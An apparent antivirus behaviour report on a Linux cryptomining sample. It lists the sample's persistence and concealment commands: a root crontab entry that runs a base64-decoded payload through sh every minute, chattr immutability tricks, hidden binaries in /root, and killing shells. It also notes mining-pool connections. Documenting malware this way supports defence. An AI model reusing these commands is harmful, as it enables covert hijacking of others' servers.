Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
- echo \x22echo \x27*/1 * * * * echo Y2QgL3Jvb3QvOy9yb290L2MxM2JjYzE3YTk1OTJkYzgxNGYwZTk4ZDI0NmQ1YjJhODdjOWI1ZTg=|base64 -d|sh\x27|crontab\x22|nohup sh >/dev/null 2>&1 &
- sleep 1
- nohup sh
- chmod 775 /root/systemlog;/root/systemlog;rm /root/systemlog
- sh
- chattr -ia /root/.Historys
- echo \x27chattr -ia /root/.Historys;rm -rf /root/.Historys;cp <SAMPLE_FULL_PATH> /root/.Historys;chmod 775 /root/.Historys;/root/.Historys <SAMPLE_FULL_PATH>;rm -f /root/.Historys;\x27|nohup sh >/dev/null 2>&1 &
- echo \x27sleep 1;<SAMPLE_FULL_PATH>\x27|nohup sh >/dev/null 2>&1 &
- echo \x27chattr +ia <SAMPLE_FULL_PATH>;\x27|nohup sh >/dev/null 2>&1 &
- chattr +ia <SAMPLE_FULL_PATH>
- rm /root/systemlog
- chmod 775 /root/systemlog
- crontab
- rm -rf /root/.Historys
- /root/systemlog
- echo \x27echo 128 > /proc/sys/vm/nr_hugepages;sysctl -w vm.nr_hugepages=128>/dev/null\x27|nohup sh >/dev/null 2>&1 &
Kills the following processes:
- run.sh
- dash
- bash
- sh
Performs operations with the file system:
Modifies file access rights:
- /root/systemlog
- /var/spool/cron/crontabs/tmp.Ao6mPs
Creates or modifies files:
- /root/systemlog
- /var/spool/cron/crontabs/tmp.Ao6mPs
Deletes files:
- /root/systemlog
Changes time of creation/access/modification of files:
- /crontabs
Network activity:
Establishes connection:
- 51.###.200.133:14444
DNS ASK:
- xm######ast1.nanopool.org
Sends data to the following servers:
- 51.###.200.133:14444
Receives data from the following servers:
- 51.###.200.133:14444
Other:
Collects CPU information